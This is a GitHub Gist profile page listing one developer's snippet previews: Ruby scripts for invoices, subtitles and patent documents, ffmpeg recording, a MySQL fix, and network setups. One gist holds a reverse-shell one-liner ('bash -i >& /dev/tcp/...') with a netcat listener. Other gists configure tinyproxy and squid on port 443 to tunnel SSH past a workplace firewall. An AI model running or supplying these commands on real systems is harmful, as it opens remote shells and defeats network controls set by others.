Skip to content

Instantly share code, notes, and snippets.

View ephesus's full-sized avatar

James Rubingh ephesus

View GitHub Profile
@ephesus
ephesus / verify_shuho.rb
Created June 27, 2023 17:40
Script to validate my invoices with shuhos
#!/usr/bin/env ruby
#encoding: UTF-8
#
#by James Rubingh james@wrive.com
require 'roo'
TRAN_TYPE = "翻訳"
CHECK_TYPE = "英文チェック"
@ephesus
ephesus / record.sh
Created March 6, 2018 01:49
Record video on macbook pro/air with ffmpeg
#!/bin/bash
# record video on os x
# full resolution isn't smooth, and my new macbook has a shitty (not HD?) isight camera
ffmpeg -f avfoundation -video_size 640x480 -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4
#ffmpeg -f avfoundation -video_size 640x480 -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4
#ffmpeg -f avfoundation -video_size 640x480 -pix_fmt yuv422p -framerate 30 -i "0:0" out-`date +%y%m%d%H%M%S`.mp4
#list devices
#!/usr/bin/env ruby
# encoding: UTF-8
# script to sync .srt rips from http://jpsubbers.web44.net/Japanese-Subtitles/
# to match timing of jdramacity versions (remove commercial breaks from .srt files)
require 'srt'
require 'charlock_holmes'
if ARGV.count != 2
@ephesus
ephesus / .rb
Created September 9, 2015 04:29
implement \1 captures manually in gsub block
#I have no idea what the correct way to do this is
#couldn't use .gsub(regex, 'need \1') because sometimes I needed to format the capture
#so i implmented it in a block to gsub
tex.gsub!(regex) do
res = "thing with \1 and \2 and \3"
Regexp.last_match.captures.each_with_index do |match, i|
if match =~ /^請求項[\p{N},~、-及びおよ]+$/
res = res.gsub(/\\#{i+1}/, format_invention_according_to(match))
else
@ephesus
ephesus / gist:ccf573ada68ed1d83803
Created July 21, 2015 08:43
fix mysql error homebrew
$ brew info mysql
mysql: stable 5.6.25 (bottled)
Open source relational database management system
https://dev.mysql.com/doc/refman/5.6/en/
Conflicts with: mariadb, mysql-cluster, mysql-connector-c, percona-server
/usr/local/Cellar/mysql/5.6.25 (9835 files, 339M) *
....
$ mysql.server start
@ephesus
ephesus / data_folder_scrape.rb
Last active August 29, 2015 14:24
Script to match Examiner names from finished English translations to Japanese Kanji in corresponding 電子データ
#!/usr/bin/env ruby
# encoding: UTF-8
# == matches the Examiner name from ==:
# 特許出願の番号      特願2014-551499
# 起案日          平成27年 6月22日
# 特許庁審査官       衣鳩 文彦        9199 5X00
# 特許出願人代理人     佐伯 義文(外 1名) 様
# 適用条文         第29条第2項、第36条
#
#on client, listen for incoming tcp connections
$ nc -l -p 8080 -vvv
--------
#on server, execute shell with remote input
$ my_ip = 0.0.0.0
$ bash -i >& /dev/tcp/$my_ip/8080 0>&1
#on server, execute shell with ruby
@ephesus
ephesus / brew tinyproxy
Last active January 30, 2023 07:49
Setting up tinyproxy to allow ssh/corkscrew connections brew/osx
$ brew update && brew upgrade
$ brew install tinyproxy
$# Most firewalls allow http CONNECT over port 443 to allow https, so run tinyrpoxy on 443
$ cat > /usr/local/Cellar/tinyproxy/1.8.3/etc/tinyproxy.conf <<EOF
User nobody
Group nobody
Port 443
Timeout 600
DefaultErrorFile "/usr/local/Cellar/tinyproxy/1.8.3/share/tinyproxy/default.html"
StatFile "/usr/local/Cellar/tinyproxy/1.8.3/share/tinyproxy/stats.html"
@ephesus
ephesus / gist:9968241
Created April 4, 2014 04:36
Set up wireless AP using USB wireless card, on gentoo, with systemd, iptable. Allow squid proxy on port 443 from work.ip (/etc/hosts) to get around another firewall that doesn't allow ssh connections out (use corkscrew to ssh through my http proxy).
#!/bin/bash
IPT=/sbin/iptables
ETH=enp6s0
WLAN=wlp0s26u1u6
modprobe rt2800usb
sleep 2
ifconfig $WLAN 10.0.0.1 netmask 255.255.255.0
@ephesus
ephesus / gist:6320172
Last active December 21, 2015 14:29
First attempt at setting up a wireless AP with no password. For reasons.
#!/bin/bash
IPT=/sbin/iptables
# Flush old rules, old custom tables
echo " * flushing old rules"
$IPT --flush
$IPT --delete-chain
$IPT -t nat -F